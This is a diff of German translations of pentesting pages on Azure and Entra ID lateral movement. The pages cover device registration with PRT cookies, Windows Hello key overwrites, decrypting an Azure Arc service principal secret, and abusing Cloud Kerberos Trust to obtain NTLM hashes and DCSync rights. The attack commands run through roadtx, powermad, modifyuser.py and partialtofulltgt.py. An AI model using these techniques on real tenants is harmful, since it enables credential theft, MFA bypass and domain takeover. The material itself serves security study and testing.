Translated ['src/pentesting-cloud/azure-security/az-device-registration.

src/pentesting-cloud/azure-security/az-device-registration.md

@@ -6,7 +6,7 @@
 
 Wenn ein Gerät AzureAD beitritt, wird ein neues Objekt in AzureAD erstellt.
 
-Bei der Registrierung eines Geräts wird **der Benutzer aufgefordert, sich mit seinem Konto anzumelden** (bei Bedarf wird nach MFA gefragt), dann werden Token für den Geräte Registrierungsdienst angefordert und anschließend wird eine endgültige Bestätigungsaufforderung angezeigt.
+Bei der Registrierung eines Geräts wird **der Benutzer aufgefordert, sich mit seinem Konto anzumelden** (bei Bedarf wird nach MFA gefragt), dann werden Token für den Geräte Registrierungsdienst angefordert und schließlich wird eine letzte Bestätigungsaufforderung angezeigt.
 
 Dann werden zwei RSA-Schlüsselpaar in dem Gerät generiert: Der **Geräteschlüssel** (**öffentlicher** Schlüssel), der an **AzureAD** gesendet wird, und der **Transport**-Schlüssel (**privater** Schlüssel), der, wenn möglich, im TPM gespeichert wird.
 
@@ -14,7 +14,7 @@ Dann wird das **Objekt** in **AzureAD** (nicht in Intune) generiert und AzureAD
 ```bash
 dsregcmd /status
 ```
-Nach der Geräteregistrierung wird ein **Primary Refresh Token** vom LSASS CloudAP-Modul angefordert und dem Gerät übergeben. Mit dem PRT wird auch der **Sitzungsschlüssel geliefert, der so verschlüsselt ist, dass nur das Gerät ihn entschlüsseln kann** (unter Verwendung des öffentlichen Schlüssels des Transportkeys) und er ist **notwendig, um das PRT zu verwenden.**
+Nach der Geräteregistrierung wird ein **Primary Refresh Token** vom LSASS CloudAP-Modul angefordert und dem Gerät übergeben. Mit dem PRT wird auch der **Sitzungsschlüssel geliefert, der so verschlüsselt ist, dass nur das Gerät ihn entschlüsseln kann** (unter Verwendung des öffentlichen Schlüssels des Transport-Schlüssels) und er ist **notwendig, um das PRT zu verwenden.**
 
 Für weitere Informationen darüber, was ein PRT ist, siehe:
 
@@ -24,13 +24,13 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 
 ### TPM - Trusted Platform Module
 
-Der **TPM** **schützt** vor der Schlüssel-**Extraktion** von einem heruntergefahrenen Gerät (wenn es durch eine PIN geschützt ist) und vor der Extraktion des privaten Materials aus der OS-Schicht.\
-Aber er **schützt nicht** vor dem **Sniffing** der physischen Verbindung zwischen dem TPM und der CPU oder dem **Verwenden des kryptografischen Materials** im TPM, während das System von einem Prozess mit **SYSTEM**-Rechten ausgeführt wird.
+Das **TPM** **schützt** vor der Schlüssel-**Extraktion** von einem heruntergefahrenen Gerät (wenn es durch eine PIN geschützt ist) und vor der Extraktion des privaten Materials aus der OS-Schicht.\
+Aber es **schützt nicht** vor dem **Abhören** der physischen Verbindung zwischen dem TPM und der CPU oder dem **Verwenden des kryptografischen Materials** im TPM, während das System von einem Prozess mit **SYSTEM**-Rechten läuft.
 
-Wenn Sie die folgende Seite überprüfen, werden Sie sehen, dass **das Stehlen des PRT** verwendet werden kann, um wie ein **Benutzer** zuzugreifen, was großartig ist, da das **PRT sich auf Geräten befindet**, sodass es von ihnen gestohlen werden kann (oder, wenn es nicht gestohlen wird, missbraucht werden kann, um neue Signaturschlüssel zu generieren):
+Wenn Sie die folgende Seite überprüfen, werden Sie sehen, dass **das Stehlen des PRT** verwendet werden kann, um wie ein **Benutzer** zuzugreifen, was großartig ist, da das **PRT auf Geräten** gespeichert ist, sodass es von ihnen gestohlen werden kann (oder, wenn es nicht gestohlen wird, missbraucht werden kann, um neue Signaturschlüssel zu generieren):
 
 {{#ref}}
-az-lateral-movement-cloud-on-prem/pass-the-prt.md
+az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 {{#endref}}
 
 ## Registrierung eines Geräts mit SSO-Token
@@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie <cookie>
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft für PRTs anfordern können**. Dadurch wird die Persistenz aufrechterhalten und **MFA umgangen**, da das ursprüngliche PRT-Token, das zur Registrierung des neuen Geräts verwendet wurde, **bereits MFA-Berechtigungen gewährt hatte**.
+Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft verwenden können, um PRTs anzufordern**. Dadurch wird die Persistenz aufrechterhalten und **MFA umgangen**, da das ursprüngliche PRT-Token, das zur Registrierung des neuen Geräts verwendet wurde, **bereits MFA-Berechtigungen gewährt hatte**.
 
 > [!TIP]
 > Beachten Sie, dass Sie für diesen Angriff Berechtigungen zur **Registrierung neuer Geräte** benötigen. Außerdem bedeutet die Registrierung eines Geräts nicht, dass das Gerät **in Intune eingeschrieben werden darf**.
@@ -57,7 +57,7 @@ Welche Ihnen ein **Zertifikat gibt, das Sie in Zukunft für PRTs anfordern könn
 
 ## Überschreiben eines Gerätescheins
 
-Es war möglich, einen **Geräteschein anzufordern**, den aktuellen des Geräts zu **überschreiben** und während des Ablaufs den **PRT zu stehlen** (es ist also nicht notwendig, ihn vom TPM zu stehlen. Für weitere Informationen [**sehen Sie sich diesen Vortrag an**](https://youtu.be/BduCn8cLV1A).
+Es war möglich, einen **Geräteschein anzufordern**, den aktuellen des Geräts zu **überschreiben** und während des Ablaufs **das PRT zu stehlen** (es ist also nicht notwendig, es vom TPM zu stehlen. Für weitere Informationen [**sehen Sie sich diesen Vortrag an**](https://youtu.be/BduCn8cLV1A).
 
 <figure><img src="../../images/image (32).png" alt=""><figcaption></figcaption></figure>
 
@@ -70,15 +70,15 @@ Es war möglich, einen **Geräteschein anzufordern**, den aktuellen des Geräts
 
 Angriffsübersicht:
 
-- Es ist möglich, den **registrierten WHFB**-Schlüssel von einem **Gerät** über SSO zu **überschreiben**
-- Es **umgeht den TPM-Schutz**, da der Schlüssel **während der Generierung** des neuen Schlüssels **abgefangen** wird
-- Dies bietet auch **Persistenz**
+- Es ist möglich, den **registrierten WHFB**-Schlüssel von einem **Gerät** über SSO zu **überschreiben**.
+- Es **umgeht den TPM-Schutz**, da der Schlüssel **während der Generierung** des neuen Schlüssels **abgefangen** wird.
+- Dies bietet auch **Persistenz**.
 
 <figure><img src="../../images/image (34).png" alt=""><figcaption></figcaption></figure>
 
-Benutzer können ihr eigenes searchableDeviceKey-Attribut über das Azure AD Graph ändern, jedoch muss der Angreifer ein Gerät im Mandanten haben (entweder spontan registriert oder ein gestohlenes Zertifikat + Schlüssel von einem legitimen Gerät) und ein gültiges Zugriffstoken für das AAD Graph.
+Benutzer können ihr eigenes searchableDeviceKey-Attribut über das Azure AD Graph ändern, jedoch muss der Angreifer ein Gerät im Mandanten haben (entweder spontan registriert oder ein gestohlenes Zertifikat + Schlüssel von einem legitimen Gerät) und ein gültiges Zugriffstoken für das AAD Graph besitzen.
 
-Dann ist es möglich, einen neuen Schlüssel mit:
+Dann ist es möglich, einen neuen Schlüssel zu generieren mit:
 ```bash
 roadtx genhellokey -d <device id> -k tempkey.key
 ```

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md

@@ -1,65 +1,39 @@
 # Az - Laterale Bewegung (Cloud - On-Prem)
 
-## Az - Laterale Bewegung (Cloud - On-Prem)
-
 {{#include ../../../banners/hacktricks-training.md}}
 
-### On-Prem-Maschinen, die mit der Cloud verbunden sind
+## Grundlegende Informationen
 
-Es gibt verschiedene Möglichkeiten, wie eine Maschine mit der Cloud verbunden sein kann:
+Dieser Abschnitt behandelt die Pivoting-Techniken, um von einem kompromittierten Entra ID-Mandanten in das lokale Active Directory (AD) oder von einem kompromittierten AD zum Entra ID-Mandanten zu wechseln.
 
-#### Azure AD verbunden
+## Pivoting-Techniken
 
-<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
+- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Wenn ein Angreifer ein AD-Computer-Konto kontrollieren oder erstellen und auf den Azure Arc GPO-Bereitstellungsfreigabe zugreifen kann, kann er das gespeicherte Service Principal-Geheimnis entschlüsseln und es verwenden, um sich als der zugehörige Service Principal bei Azure zu authentifizieren, wodurch die verknüpfte Azure-Umgebung vollständig kompromittiert wird.
 
-#### Arbeitsplatz verbunden
+- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Wie man von Entra ID zu AD wechselt, wenn Cloud Kerberos Trust konfiguriert ist. Ein Global Admin in Entra ID (Azure AD) kann Cloud Kerberos Trust und die Sync-API missbrauchen, um hochprivilegierte AD-Konten zu impersonieren, deren Kerberos-Tickets oder NTLM-Hashes zu erhalten und das lokale Active Directory vollständig zu kompromittieren – selbst wenn diese Konten nie cloud-synchronisiert wurden – was effektiv eine Brücke für die Privilegieneskalation von Cloud zu AD bildet.
 
-<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Cloud Sync**](az-cloud-sync.md): Wie man Cloud Sync missbraucht, um von der Cloud zum lokalen AD und umgekehrt zu wechseln.
 
-#### Hybrid verbunden
+- [**Connect Sync**](az-connect-sync.md): Wie man Connect Sync missbraucht, um von der Cloud zum lokalen AD und umgekehrt zu wechseln.
 
-<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Domain Services**](az-domain-services.md): Was ist der Azure Domain Services-Dienst und wie man von Entra ID zu dem AD wechselt, das er generiert.
 
-#### Arbeitsplatz verbunden auf AADJ oder Hybrid
+- [**Federation**](az-federation.md): Wie man Federation missbraucht, um von der Cloud zum lokalen AD und umgekehrt zu wechseln.
 
-<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&#x26;name=large</a></p></figcaption></figure>
+- [**Hybrid Misc Attacks**](az-hybrid-identity-misc-attacks.md): Verschiedene Angriffe, die verwendet werden können, um von der Cloud zum lokalen AD und umgekehrt zu wechseln.
 
-### Tokens und Einschränkungen <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
+- [**Local Cloud Credentials**](az-local-cloud-credentials.md): Wo man Anmeldeinformationen für die Cloud findet, wenn ein PC kompromittiert ist.
 
-In Azure AD gibt es verschiedene Arten von Tokens mit spezifischen Einschränkungen:
+- [**Pass the Certificate**](az-pass-the-certificate.md): Ein Zertifikat basierend auf dem PRT generieren, um sich von einem Gerät auf ein anderes anzumelden.
 
-- **Zugriffstokens**: Werden verwendet, um auf APIs und Ressourcen wie den Microsoft Graph zuzugreifen. Sie sind an einen bestimmten Client und eine Ressource gebunden.
-- **Aktualisierungstokens**: Werden an Anwendungen ausgegeben, um neue Zugriffstokens zu erhalten. Sie können nur von der Anwendung verwendet werden, an die sie ausgegeben wurden, oder von einer Gruppe von Anwendungen.
-- **Primäre Aktualisierungstokens (PRT)**: Werden für die einmalige Anmeldung auf Azure AD verbundenen, registrierten oder hybrid verbundenen Geräten verwendet. Sie können in Anmeldeflüssen im Browser und für die Anmeldung bei mobilen und Desktop-Anwendungen auf dem Gerät verwendet werden.
-- **Windows Hello for Business-Schlüssel (WHFB)**: Werden für passwortlose Authentifizierung verwendet. Sie werden verwendet, um primäre Aktualisierungstokens zu erhalten.
+- [**Pass the Cookie**](az-pass-the-cookie.md): Azure-Cookies aus dem Browser stehlen und sie zur Anmeldung verwenden.
 
-Die interessanteste Art von Token ist das primäre Aktualisierungstoken (PRT).
+- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): Was ist das PRT, wie man es stiehlt und es verwendet, um auf Azure-Ressourcen zuzugreifen, indem man den Benutzer impersoniert.
 
-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
+- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): Wie man Pass-through Authentication missbraucht, um von der Cloud zum lokalen AD und umgekehrt zu wechseln.
 
-### Pivoting-Techniken
+- [**Seamless SSO**](az-seamless-sso.md): Wie man Seamless SSO missbraucht, um von lokal zur Cloud zu wechseln.
 
-Von der **kompromittierten Maschine zur Cloud**:
-
-- [**Pass the Cookie**](az-pass-the-cookie.md): Azure-Cookies aus dem Browser stehlen und verwenden, um sich anzumelden
-- [**Dump processes access tokens**](az-processes-memory-access-token.md): Den Speicher lokaler Prozesse, die mit der Cloud synchronisiert sind (wie Excel, Teams...), dumpen und Zugriffstokens im Klartext finden.
-- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** PRT phishen, um es auszunutzen
-- [**Pass the PRT**](pass-the-prt.md): Das Geräte-PRT stehlen, um Azure zu impersonieren.
-- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Ein Zertifikat basierend auf dem PRT generieren, um sich von einer Maschine zur anderen anzumelden
-
-Von der Kompromittierung **AD** zur Kompromittierung der **Cloud** und von der Kompromittierung der **Cloud** zur Kompromittierung **AD**:
-
-- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
-- **Ein weiterer Weg, um von der Cloud zu On-Prem zu pivotieren, ist** [**Intune auszunutzen**](../az-services/intune.md)
-
-#### [Roadtx](https://github.com/dirkjanm/ROADtools)
-
-Dieses Tool ermöglicht es, mehrere Aktionen durchzuführen, wie z.B. eine Maschine in Azure AD zu registrieren, um ein PRT zu erhalten, und PRTs (echt oder gestohlen) zu verwenden, um auf Ressourcen auf verschiedene Weise zuzugreifen. Dies sind keine direkten Angriffe, aber es erleichtert die Verwendung von PRTs, um auf Ressourcen auf verschiedene Weise zuzugreifen. Weitere Informationen finden Sie unter [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
-
-## Referenzen
-
-- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
+- **Ein weiterer Weg, um von der Cloud zu On-Prem zu pivotieren, ist** [**Intune zu missbrauchen**](../az-services/intune.md)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md

@@ -11,9 +11,9 @@ Beim Ausführen des DeployGPO.ps1-Skripts werden die folgenden Aktionen ausgefü
 1. Erstellt die Azure Arc Servers Onboarding GPO innerhalb der lokalen Domäne.
 2. Kopiert das EnableAzureArc.ps1 Onboarding-Skript in den vorgesehenen Netzwerkfreigabe, die für den Onboarding-Prozess erstellt wurde und auch das Windows-Installationspaket enthält.
 
-Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename erforderlich. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.
+Beim Ausführen dieses Skripts müssen Systemadministratoren zwei Hauptparameter angeben: **ServicePrincipalId** und **ServicePrincipalClientSecret**. Darüber hinaus sind weitere Parameter erforderlich, wie die Domäne, der FQDN des Servers, der die Freigabe hostet, und der Freigabename. Weitere Details wie die Mandanten-ID, die Ressourcengruppe und andere notwendige Informationen müssen ebenfalls dem Skript bereitgestellt werden.
 
-Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Sicherheitsgruppen der Domain Controller und Domain Computer entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.
+Ein verschlüsseltes Geheimnis wird im AzureArcDeploy-Verzeichnis auf der angegebenen Freigabe unter Verwendung der DPAPI-NG-Verschlüsselung generiert. Das verschlüsselte Geheimnis wird in einer Datei mit dem Namen encryptedServicePrincipalSecret gespeichert. Ein Beweis dafür findet sich im DeployGPO.ps1-Skript, wo die Verschlüsselung durch den Aufruf von ProtectBase64 mit $descriptor und $ServicePrincipalSecret als Eingaben erfolgt. Der Descriptor besteht aus den SID der Domain Computer und der Domain Controller-Gruppe, wodurch sichergestellt wird, dass das ServicePrincipalSecret nur von den Domain Controllers und Domain Computers Sicherheitsgruppen entschlüsselt werden kann, wie in den Kommentaren des Skripts vermerkt.
 ```bash
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
 $DomainComputersSID = "SID=" + $DomainComputersSID
@@ -27,10 +27,10 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
 Wir haben die folgenden Bedingungen:
 
 1. Wir haben erfolgreich das interne Netzwerk durchdrungen.
-2. Wir haben die Fähigkeit, ein Computer-Konto innerhalb von Active Directory zu erstellen oder die Kontrolle darüber zu übernehmen.
+2. Wir haben die Fähigkeit, ein Computer-Konto innerhalb von Active Directory zu erstellen oder zu übernehmen.
 3. Wir haben einen Netzwerkfreigabe entdeckt, die das AzureArcDeploy-Verzeichnis enthält.
 
-Es gibt mehrere Methoden, um ein Maschinenkonto in einer AD-Umgebung zu erhalten. Eine der häufigsten ist die Ausnutzung des Maschinenkonto-Quotas. Eine andere Methode besteht darin, ein Maschinenkonto durch verwundbare ACLs oder verschiedene andere Fehlkonfigurationen zu kompromittieren.
+Es gibt mehrere Methoden, um ein Maschinenkonto in einer AD-Umgebung zu erhalten. Eine der häufigsten ist die Ausnutzung des Maschinenkonto-Quotas. Eine andere Methode besteht darin, ein Maschinenkonto durch anfällige ACLs oder verschiedene andere Fehlkonfigurationen zu kompromittieren.
 ```bash
 Import-MKodule powermad
 New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
@@ -54,7 +54,7 @@ $ebs
 ```
 Alternativ können wir [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) verwenden.
 
-An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als der kompromittierte Dienstprinzipal zu authentifizieren.
+An diesem Punkt können wir die verbleibenden Informationen sammeln, die benötigt werden, um eine Verbindung zu Azure herzustellen, aus der ArcInfo.json-Datei, die sich im selben Netzwerkfreigabe wie die encryptedServicePrincipalSecret-Datei befindet. Diese Datei enthält Details wie: TenantId, servicePrincipalClientId, ResourceGroup und mehr. Mit diesen Informationen können wir Azure CLI verwenden, um uns als kompromittierter Dienstprinzipal zu authentifizieren.
 
 ## References
 

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md

@@ -6,7 +6,7 @@
 
 ## Kerberos-Vertrauensbeziehung Übersicht
 
-**Cloud Kerberos Trust (Entra ID -> AD)** -- Diese Funktion (Teil von Windows Hello for Business) etabliert ein einseitiges Vertrauen, bei dem das lokale AD **Entra ID** vertraut, Kerberos-Tickets für AD auszustellen. Die Aktivierung erstellt ein **AzureADKerberos$** Computerobjekt im AD (erscheint als Read-Only Domain Controller) und ein verknüpftes **`krbtgt_AzureAD`** Konto (ein sekundärer KRBTGT). Entra ID hält die Schlüssel für diese Konten und kann "partielle" Kerberos TGTs für AD-Benutzer ausstellen. AD-Domänencontroller werden diese Tickets anerkennen, jedoch mit RODC-ähnlichen Einschränkungen: standardmäßig sind **Hochprivilegierte Gruppen (Domain Admins, Enterprise Admins usw.) *verweigert*** und gewöhnliche Benutzer sind erlaubt. Dies verhindert, dass Entra ID unter normalen Bedingungen Domänenadministratoren über das Vertrauen authentifiziert. Wie wir sehen werden, kann ein Angreifer mit ausreichenden Entra ID-Rechten dieses Vertrauensdesign ausnutzen.
+**Cloud Kerberos Trust (Entra ID -> AD)** -- Diese Funktion (Teil von Windows Hello for Business) etabliert ein einseitiges Vertrauen, bei dem das lokale AD **Entra ID** vertraut, Kerberos-Tickets für AD auszustellen. Die Aktivierung erstellt ein **AzureADKerberos$** Computerobjekt im AD (das als Read-Only Domain Controller erscheint) und ein verknüpftes **`krbtgt_AzureAD`** Konto (ein sekundärer KRBTGT). Entra ID hält die Schlüssel für diese Konten und kann "partielle" Kerberos TGTs für AD-Benutzer ausstellen. AD-Domänencontroller werden diese Tickets anerkennen, jedoch mit RODC-ähnlichen Einschränkungen: standardmäßig sind **Hochprivilegierte Gruppen (Domain Admins, Enterprise Admins usw.) *verweigert*** und gewöhnliche Benutzer sind erlaubt. Dies verhindert, dass Entra ID unter normalen Bedingungen Domänenadministratoren über das Vertrauen authentifiziert. Wie wir sehen werden, kann ein Angreifer mit ausreichenden Entra ID-Rechten dieses Vertrauensdesign ausnutzen.
 
 ## Pivoting von Entra ID zu On-Prem AD
 
@@ -20,7 +20,7 @@
 
 -   Mindestens ein **hybrides Benutzerkonto** (existiert sowohl im AD als auch im AAD), bei dem sich der Angreifer authentifizieren kann. Dies könnte durch Kenntnis oder Zurücksetzen der Anmeldeinformationen oder durch Zuweisen einer passwortlosen Methode (z. B. eines Temporary Access Pass) zur Generierung eines Primary Refresh Token (PRT) für dieses Konto erlangt werden.
 
--   Ein **lokales AD-Zielkonto** mit hohen Rechten, das *nicht* in der Standard-RODC "verweigern" Richtlinie enthalten ist. In der Praxis ist ein großartiges Ziel das **AD Connect Synchronisationskonto** (oft benannt als **MSOL_***), das DCSync (Replikations-)Rechte im AD hat, jedoch normalerweise kein Mitglied der integrierten Administrationsgruppen ist. Dieses Konto wird typischerweise nicht mit Entra ID synchronisiert, wodurch seine SID ohne Konflikt zur Identitätsübernahme verfügbar ist.
+-   Ein **on-prem AD-Zielkonto** mit hohen Rechten, das *nicht* in der Standard-RODC "verweigern" Richtlinie enthalten ist. In der Praxis ist ein großartiges Ziel das **AD Connect Synchronisationskonto** (oft benannt als **MSOL_***), das DCSync (Replikations-)Rechte im AD hat, jedoch normalerweise kein Mitglied der integrierten Administrationsgruppen ist. Dieses Konto wird typischerweise nicht mit Entra ID synchronisiert, wodurch seine SID ohne Konflikt zur Identitätsübernahme verfügbar ist.
 
 **Angriffsschritte:**
 
@@ -31,14 +31,14 @@ roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
 ```
 *(Alternativ kann AADInternals' `Connect-AADInt` verwendet werden, um sich als Global Admin zu authentifizieren.)*
 
-2.  **Ändern Sie die On-Prem-Attribute eines Hybridbenutzers:** Nutzen Sie die Azure AD **Synchronisierungs-API**, um den **onPremises Security Identifier (SID)** und den **onPremises SAMAccountName** eines gewählten Hybridbenutzers so festzulegen, dass sie mit dem Ziel-AD-Konto übereinstimmen. Dies teilt Azure AD effektiv mit, dass der Cloud-Benutzer dem On-Prem-Konto entspricht, das wir nachahmen möchten. Verwenden Sie das Open-Source-Toolkit **ROADtools Hybrid**:
+2.  **Ändern der On-Prem-Attribute eines Hybridbenutzers:** Nutzen Sie die Azure AD **Synchronisierungs-API**, um den **onPremises Security Identifier (SID)** und den **onPremises SAMAccountName** eines gewählten Hybridbenutzers so festzulegen, dass sie mit dem Ziel-AD-Konto übereinstimmen. Dies teilt Azure AD effektiv mit, dass der Cloud-Benutzer dem On-Prem-Konto entspricht, das wir nachahmen möchten. Verwenden Sie das Open-Source-Toolkit **ROADtools Hybrid**:
 ```bash
 # Example: modify a hybrid user to impersonate the MSOL account
 python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
 --sourceanchor <ImmutableID_of_User>\
 --sid <TargetAD_SID> --sam <TargetAD_SAMName>
 ```
-> Der `sourceAnchor` (unveränderliche ID) des Benutzers wird benötigt, um das Azure AD-Objekt zu identifizieren, das geändert werden soll. Das Tool setzt die on-prem SID und den SAM-Kontonamen des hybriden Benutzers auf die Werte des Ziels (z. B. die SID und den SAM des MSOL_xxxx-Kontos). Azure AD erlaubt normalerweise nicht, diese Attribute über Graph zu ändern (sie sind schreibgeschützt), aber die Sync-Service-API erlaubt dies, und globale Administratoren können diese Synchronisierungsfunktionalität aufrufen.
+> Der `sourceAnchor` (unveränderliche ID) des Benutzers wird benötigt, um das Azure AD-Objekt zu identifizieren, das geändert werden soll. Das Tool setzt die lokale SID und den SAM-Kontonamen des hybriden Benutzers auf die Werte des Ziels (z. B. die SID und den SAM des MSOL_xxxx-Kontos). Azure AD erlaubt normalerweise nicht, diese Attribute über Graph zu ändern (sie sind schreibgeschützt), aber die Sync-Service-API erlaubt dies, und globale Administratoren können diese Synchronisierungsfunktionalität aufrufen.
 
 3.  **Erhalten Sie ein partielles TGT von Azure AD:** Nach der Änderung authentifizieren Sie sich als hybrider Benutzer bei Azure AD (zum Beispiel, indem Sie ein PRT auf einem Gerät erhalten oder ihre Anmeldeinformationen verwenden). Wenn sich der Benutzer anmeldet (insbesondere auf einem domänenverbundenen oder Entra-verbundenen Windows-Gerät), gibt Azure AD ein **partielles Kerberos TGT (TGT**<sub>**AD**</sub>) für dieses Konto aus, da Cloud Kerberos Trust aktiviert ist. Dieses partielle TGT ist mit dem AzureADKerberos$ RODC-Schlüssel verschlüsselt und enthält die **Ziel-SID**, die wir festgelegt haben. Wir können dies simulieren, indem wir ein PRT für den Benutzer über ROADtools anfordern:
 ```bash
@@ -46,24 +46,24 @@ roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
 ```
 Dies gibt eine `.prt`-Datei aus, die das partielle TGT und den Sitzungsschlüssel enthält. Wenn das Konto ein cloud-only Passwort war, enthält Azure AD dennoch ein TGT_AD in der PRT-Antwort.
 
-4.  **Exchange Partial TGT for Full TGT (on AD):** Das partielle TGT kann nun dem lokalen Domain Controller präsentiert werden, um ein **vollständiges TGT** für das Zielkonto zu erhalten. Wir tun dies, indem wir eine TGS-Anfrage für den `krbtgt`-Dienst (den primären TGT-Dienst der Domäne) durchführen – im Wesentlichen wird das Ticket auf ein normales TGT mit einem vollständigen PAC aktualisiert. Tools sind verfügbar, um diesen Austausch zu automatisieren. Zum Beispiel mit dem Skript von ROADtools Hybrid:
+4.  **Austausch des partiellen TGT gegen vollständiges TGT (in AD):** Das partielle TGT kann nun dem lokalen Domänencontroller präsentiert werden, um ein **vollständiges TGT** für das Zielkonto zu erhalten. Dies geschieht durch die Durchführung einer TGS-Anfrage für den `krbtgt`-Dienst (den primären TGT-Dienst der Domäne) -- im Wesentlichen wird das Ticket auf ein normales TGT mit einem vollständigen PAC aktualisiert. Tools sind verfügbar, um diesen Austausch zu automatisieren. Zum Beispiel mit dem Skript von ROADtools Hybrid:
 ```bash
 # Use the partial TGT from the PRT file to get a full TGT and NTLM hash
 python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
 ```
-Dieses Skript (oder Impacket-Äquivalente) wird den Domänencontroller kontaktieren und ein gültiges TGT für das Ziel-AD-Konto abrufen, einschließlich des NTLM-Hashes des Kontos, wenn die spezielle Kerberos-Erweiterung verwendet wird. Die **`KERB-KEY-LIST-REQ`**-Erweiterung wird automatisch hinzugefügt, um den DC zu bitten, den NTLM-Hash des Zielkontos in der verschlüsselten Antwort zurückzugeben. Das Ergebnis ist ein Anmeldeinformationen-Cache (`full_tgt.ccache`) für das Zielkonto *oder* den wiederhergestellten NTLM-Passwort-Hash.
+Dieses Skript (oder Impacket-Äquivalente) wird den Domain Controller kontaktieren und ein gültiges TGT für das Ziel-AD-Konto abrufen, einschließlich des NTLM-Hashes des Kontos, wenn die spezielle Kerberos-Erweiterung verwendet wird. Die **`KERB-KEY-LIST-REQ`**-Erweiterung wird automatisch hinzugefügt, um den DC zu bitten, den NTLM-Hash des Zielkontos in der verschlüsselten Antwort zurückzugeben. Das Ergebnis ist ein Anmeldeinformationen-Cache (`full_tgt.ccache`) für das Zielkonto *oder* den wiederhergestellten NTLM-Passwort-Hash.
 
-5.  **Ziel impersonieren und zu Domain Admin erhöhen:** Jetzt kontrolliert der Angreifer effektiv **das Ziel-AD-Konto**. Wenn das Ziel beispielsweise das AD Connect **MSOL-Konto** war, hat es Replikationsrechte im Verzeichnis. Der Angreifer kann einen **DCSync**-Angriff unter Verwendung der Anmeldeinformationen dieses Kontos oder des Kerberos-TGT durchführen, um Passwort-Hashes aus AD zu dumpen (einschließlich des Domänen-KRBTGT-Kontos). Zum Beispiel:
+5.  **Ziel impersonieren und zu Domain Admin erhöhen:** Jetzt kontrolliert der Angreifer effektiv **das Ziel-AD-Konto**. Wenn das Ziel beispielsweise das AD Connect **MSOL-Konto** war, hat es Replikationsrechte im Verzeichnis. Der Angreifer kann einen **DCSync**-Angriff unter Verwendung der Anmeldeinformationen dieses Kontos oder des Kerberos-TGT durchführen, um Passwort-Hashes aus AD zu dumpen (einschließlich des Domain KRBTGT-Kontos). Zum Beispiel:
 ```bash
 # Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
